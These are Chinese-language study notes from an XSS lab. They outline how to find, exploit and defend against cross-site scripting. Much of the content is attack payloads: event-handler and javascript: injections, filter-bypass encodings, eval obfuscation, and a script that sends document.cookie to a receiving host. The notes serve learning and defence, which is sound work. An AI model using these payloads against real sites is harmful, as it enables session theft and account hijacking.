xss-lab体会
探测xss漏洞
- 先输入测试唯一的字符,确认输入、输出点
- 可能的输入点
- 任何可以输入字符的地方
- http头
- cookie
利用
-
语句包含在
<script> ... </script>
-
事件弹窗
-
如
<input name="keyword" value="" onclick="alert(123)">
-
常用的事件函数,比如onchange, onclick, oninput
-
除了利用alert,还有confirm以及prompt
-
-
语句包含在
<a>
标签中,如<a href="javascript:alert('123')">点击触发</a>
-
<img src=1 onerror="alert(123)">
绕过、过滤
-
大小写
- 当程序没有用类似strtolower()函数,将字符统一转为大、小写字符时,可绕过
-
双写绕过
-
编码绕过:先HTML字符实体转为16进制,再进行URL编码。(适用于:字符实体类)
-
遇到将关键字替换为空格的情况
- 使用
%0d
、%0a
- 使用
-
如:
```html <img%0dsrc=1%0donerror="alert(123)"> ```
- 注:不换行空格
不允许换行
- 注:不换行空格
-
遇到必须带某关键字的,可以在注释中添加关键字,也可以直接在事件中添加
-
如:
javascript:alert(1)/*http://*/
-
如:
javascript:alert("http://")
-
-
前端限制绕过,直接抓包重放,或直接修改HTML
-
使用注释进行干扰
<scri<!--test-->pt>....</sc<!--test-->ript>
-
编码
- 后台过滤了特殊字符,比如
<script>
标签,但是该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行 - 注意:HTML实体编码与URL编码不一样
- 后台过滤了特殊字符,比如
-
关于htmlspecialchars()函数
- 功能:把预定义字符转换为HTML实体
- 可能存在单引号绕过,因为默认编码双引号,不编码单引号。(单引号不属于HTML中规范的实体编码)
- ENT_COMPAT 默认,仅编码双引号
- ENT_QUOTES编码双引号和单引号
- ENT_NOQUOTES不编码任何引号
反射型xss-获取用户cookie
get型
-
方法:
-
构造含有代码的url,然后发送给用户,即可触发
-
直接在输入点输入代码
-
如:在输入点写入内容
<script> document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie; </script> #在127.0.0.1搭建一个接收cookie的平台,使用document.cookie获取cookie后,即可传输到接收平台
-
post型
存储型xss钓鱼攻击
存储型xss键盘记录
xss盲打
- 输出点不直接在前端,只有后台管理员才可见
- 相当于存储型
xss防御
- 输入做过滤,输出做转义
- 过滤
- 限制输入格式,比如要求输入手机号,则只能输入数字
- 转义
- 所有输出到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JJS里面的进行js转义
- 防御href输出点
- 如:
<a href='.....'></a>
防止发生xss。可以限制href的格式,只能以http、https开头,然后再进行htmlspecialchars()过滤
- 如:
- 防御JS输出点
- 防止构造闭合
</script>
。因为JavaScript不会对tag和字符实体进行解释,所以需要进行js转义,但是转义后JS无法识别里面的内容,会影响前端的,所以最好的方法是使用反斜杠对特殊字符进行转义
- 防止构造闭合
- 过滤
xss初探
注意
- 充分利用浏览器特性
产生原因
- 代码逻辑
- 浏览器特性
- 解析差异
- 服务器端语言的特性
- 浏览器编码
原理
向HTML代码中注入脚本
概念
-
输入点
- 这个提交你的攻击代码的地方就叫做输入点
-
输出点
- 显示你具有攻击性代码的那个位置就叫做输出点。
-
跨域
-
当协议、子域名、主域名、端口,中的任意一个不相同时,称为不同域,不同域之间请求数据的操作,称为跨域
-
同源策略
-
(浏览器的一种约定),规定,两个不同域间不能使用JS进行互相操作。比如:x.com域名下的JavaScript不能操作y.com域下的对象
-
要进行跨域操作,需要管理员进行特殊配置,如:通过header(“Access-Control-Allow-Origin:x.com”)指定跨域源地址
-
以下标签可以跨域加载资源,不受同源策略影响
-
<script src="..."></script>js加载到本地执行
-
<img src="..."> 加载图片
-
<link href="...">加载css
-
<iframe src="...">加载任意资源
-
-
-
类型
反射型
- 诱使用户访问一个包含恶意执行代码的URL
- 可以将代码进行编码处理,迷惑用户,如:十进制、十六进制、ESCAPE等编码
- 只执行一次,非持久化
- get型
- post型
存储型
- 将具有攻击性的代码(又叫playload)持久化的存储在目标业务中的某个地方(比如说数据库, 缓存等),在另一个地方又会把这个攻击代码显示到页面上,显示的时候浏览器会将它当作合法的script脚本执行,便开始执行了具有攻击性的JavaScript脚本。
- 不需要用户单击URL进行触发,所以可以利用其进行挂马、钓鱼
DOM型
- 注意
反射型、存储型xss,都是在前端提交数据,然后经过后端处理,再传到前端。DOM型是纯前端操作,不传到后端
危害
- 网络钓鱼
- 窃取用户cookie
- 劫持用户
- 强制弹出广告,刷流量
- 网页挂马
- 进行恶意操作,篡改页面信息
- 进行大量的客户端攻击,如DDoS攻击
- 获取用户信息,如浏览历史,真实ip,开放端口
- 控制机器,当跳板
- 结合其他漏洞,如CSRF
- 传播蠕虫
xss简单发掘
- 方法
- 黑盒测试
- 对于xss而言,黑盒效果比白盒好
- 白盒测试
- 灰盒测试
- 黑盒测试
- 反射型
- 输入框、URL参数、来自cookie、post表单、HTTP头的内容都可能产生xss
- 存储型
xss Cheat Sheet(xss攻击脚本列表)
xss构造剖析
xss-Filter跨站脚本过滤器
-
绕过
-
利用
<>
标记注射HTML/JavaScript -
利用HTML标签属性值执行xss
- 利用很多HTML中的属性支持
javascript:[code]
伪协议的形式,通常只有引用文件的属性才能触发跨站脚本
如:<img src="javascript:alert(123);">
- 相关属性
- href=
- lowsrc=
- bgsound=
- background=
- value=
- action=
- dynsrc=
- 利用很多HTML中的属性支持
-
空格、回车、Tab键
- 如果仅仅把字符做了过滤,则可以使用空格、回车tab键绕过
- 注:除了在引号中分隔单词或强制结束语句外,若语句不完整,额外的空白无论以何种方式添加都无所谓
-
对标签属性值转码
-
HTML中属性值本身支持ASCII码形式,支持十进制、十六进制,格式:
&#+ASCII码
或&#+ASCII码;
-
常见的
- tab键
	
- 换行符


- 回车键

- tab键
-
也可以把

或
插入到JavaScript或Vbscript的头部,如<img src="javascript:alert(123)">
-
	
等字符可以插入到任何位置
-
-
产生自己的事件
- 事件的分类
- 用户接口(鼠标键盘)
- 逻辑(处理的结果)
- 变化(对文档修改)
- 常用事件
*
- 事件的分类
-
利用css跨站
- 子主题 1
-
扰乱过滤规则
-
-
利用字符编码
-
javascript中的eval()函数,可计算字符串并执行其中的代码
-
可使用反斜杠
连接十六进制字符串,然后用eval()函数执行,如
<script>eval("..................");</script>
-
也可用十进制字符串来执行,但需要String.fromCharCode()函数先把ASCII值转为字符串,如
<img src="javascript:eval(String.fromCharCode(97,108,101,...,...,....,))">
-
-
css中也支持使用反斜杠
连接十六进制的字符串
-
微软的script加密技术,只能在IE上运行
-
-
拆分跨站法
- 条件:
- 程序没有对关键字过滤,但限制了字符长度
- 分批次将代码传入
- 条件:
shellcode的调用
-
远程调用
- 调用服务器上的js文件
- 基于DOM的方法创建和插入节点
-
window.location.hash
-
条件
- 要能上传文件到指定服务器
-
利用window.location.hash属性
-
目的:解决URL长度问题
-
location.hash用来设置页面的标签值
http://www.test.com#admin
,其location.hash为#admin
-
如:
http://www.test.com?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
-
-
-
xss Downloader
- 原理
- 先把代码存到数据库中,再利用XMLHTTP控件向网站发送一个HTTP请求,然后执行返回的数据
- 原理
-
备选存储技术
- 原理
- 把代码存到客户端本地域中,如HTTPcookie、UserData、localStorage等
- 存储到cookie的缺点,cookie被限制在4KB内
- UserData是微软在IE上开的一块存储空间,大小有640KB
- localStorage
- 原理